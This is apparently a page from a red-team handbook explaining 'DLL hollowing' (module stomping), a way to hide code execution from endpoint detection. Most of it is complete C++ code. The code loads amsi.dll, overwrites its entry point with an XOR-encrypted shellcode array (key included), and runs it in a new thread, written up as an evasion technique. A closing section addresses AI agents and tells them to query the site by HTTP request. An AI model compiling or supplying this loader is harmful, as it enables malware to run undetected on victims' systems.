# DLL Hollowing

This technique works by coercing a program to load an unused DLL, and then overwriting some part of the unused DLL to host our payload, and then starting a new thread to execute that DLL.

This will minimize our artifacts, because of the following reasons

* Memory scanners will not scan DLLs for malicious signatures or compare DLLs in disk to memory as it will be very resource intensive for an EDR to scan every DLL loaded in a process
* Our thread will map back to a legitimate DLL instead of a weirdly allocated piece of memory
* We will have no RWX memory regions that are not backed up by any file

For the sake of this lab(ish), we will simply just allocate a block of memory in a benign DLL and execute that.&#x20;

Let's first Load our library we want to overwrite:

```cpp
	HMODULE hVictimLib = LoadLibrary("amsi.dll");
```

Let's then get the entry point of the DLL:

```cpp
char* ptr1 = (char*)hVictimLib;
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ptr1;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ptr1 + dosHeader->e_lfanew);
LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)ptr1);
char* ptr = (char*)dllEntryPoint;
```

After we get our entry point, lets change its protections and write our payload to the entry point:

```cpp
DWORD oldprotect = 0;
VirtualProtect((char*)ptr, payload_len, PAGE_READWRITE, &oldprotect);
memcpy(ptr, payload, payload_len);
VirtualProtect((char*)ptr, payload_len, oldprotect, &oldprotect);
```

Then, we can create our new thread

```cpp
CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ptr, NULL, 0, 0);
```

Here's the final code I have made:

```cpp
#include <winternl.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char payload[] = { 0xa9, 0x3c, 0xed, 0xaa, 0xb1, 0x86, 0xb3, 0x74, 0x52, 0x73, 0x14, 0x25, 0x2f, 0x1e, 0x13, 0x3f, 0x25, 0x3c, 0x63, 0xa1, 0x30, 0x3c, 0xe5, 0x1c, 0x21, 0x26, 0xf8, 0x26, 0x4a, 0x3b, 0xde, 0x26, 0x4e, 0x6, 0xca, 0x1c, 0x23, 0x3c, 0x5d, 0xc4, 0x1f, 0x3e, 0x23, 0x7f, 0x88, 0x26, 0x42, 0xb4, 0xfe, 0x4f, 0x34, 0x8, 0x6c, 0x62, 0x61, 0x2f, 0xb2, 0xbd, 0x5f, 0x32, 0x54, 0xb5, 0x8c, 0xa3, 0x13, 0x2f, 0x22, 0x3c, 0xd9, 0x21, 0x75, 0xff, 0x2c, 0x72, 0x9, 0x6f, 0xa3, 0xff, 0xd2, 0xfb, 0x55, 0x74, 0x6e, 0x6, 0xc4, 0xae, 0x7, 0x13, 0x1a, 0x72, 0x85, 0x24, 0xe5, 0x6, 0x59, 0x2a, 0xf8, 0x34, 0x72, 0x3a, 0x54, 0xa4, 0x8d, 0x18, 0x9, 0x91, 0xba, 0x35, 0xd9, 0x47, 0xdd, 0x3c, 0x6f, 0x98, 0xc, 0x5f, 0xba, 0x3c, 0x63, 0xb3, 0xf9, 0x35, 0xaf, 0x87, 0x4c, 0x2f, 0x72, 0xb5, 0x6a, 0x93, 0x20, 0x85, 0x22, 0x4d, 0xd, 0x4a, 0x7b, 0x31, 0x6b, 0xa2, 0x20, 0xac, 0x36, 0xa, 0xca, 0x2e, 0x57, 0x3d, 0x53, 0xa3, 0x33, 0x35, 0xe5, 0x42, 0x9, 0x2a, 0xf8, 0x34, 0x4e, 0x3a, 0x54, 0xa4, 0x2f, 0xc5, 0x45, 0xe6, 0x3b, 0x75, 0x82, 0x32, 0xd, 0x35, 0x36, 0x10, 0x18, 0x34, 0x32, 0x2c, 0x13, 0x2a, 0x14, 0x2e, 0x26, 0xcd, 0xad, 0x4e, 0x32, 0x26, 0xad, 0x93, 0xd, 0x35, 0x37, 0x14, 0x9, 0xe5, 0x61, 0x9d, 0x5, 0x8c, 0xaa, 0x8b, 0x33, 0x6, 0xfb, 0x6f, 0x73, 0x74, 0x52, 0x73, 0x55, 0x74, 0x6e, 0x6, 0xcc, 0xe3, 0x72, 0x75, 0x52, 0x73, 0x14, 0xce, 0x5f, 0xc5, 0x2e, 0xe9, 0x8c, 0xa1, 0xe9, 0x93, 0x48, 0x5e, 0x64, 0xf, 0xfb, 0xc8, 0xe6, 0xc9, 0xcf, 0x8c, 0x80, 0x3c, 0xed, 0x8a, 0x69, 0x52, 0x75, 0x8, 0x58, 0xf3, 0xae, 0x94, 0x1b, 0x4b, 0xfa, 0x29, 0x60, 0x6, 0x3d, 0x19, 0x55, 0x2d, 0x2f, 0xc7, 0x9b, 0x91, 0xa6, 0x17, 0x33, 0x1f, 0x36, 0x5a, 0xb, 0x36, 0x24, 0x6e };
unsigned int payload_len = sizeof(payload);
char key[] = "UtnNAnstRs";


void XOR(char* data, size_t data_len, char* key, size_t key_len) {
	int j;

	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}


int main(void) {
	DWORD oldprotect = 0;
	HMODULE hVictimLib = LoadLibrary("amsi.dll");
	if (hVictimLib != NULL) {

		char* ptr1 = (char*)hVictimLib;
		PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ptr1;
		PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ptr1 + dosHeader->e_lfanew);
		LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)ptr1);
		char* ptr = (char*)dllEntryPoint;

		printf("Adrress of the Entry point of the dll: %p", ptr);
		getchar();


		VirtualProtect((char*)ptr, payload_len, PAGE_READWRITE, &oldprotect);
		XOR((char*)payload, payload_len, key, sizeof(key));
		memcpy(ptr, payload, payload_len);
		VirtualProtect((char*)ptr, payload_len, oldprotect, &oldprotect);
		CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ptr, NULL, 0, 0);

		printf("Payload executed\n");
		getchar();

	}

	return 0;
}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/module-stomping.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
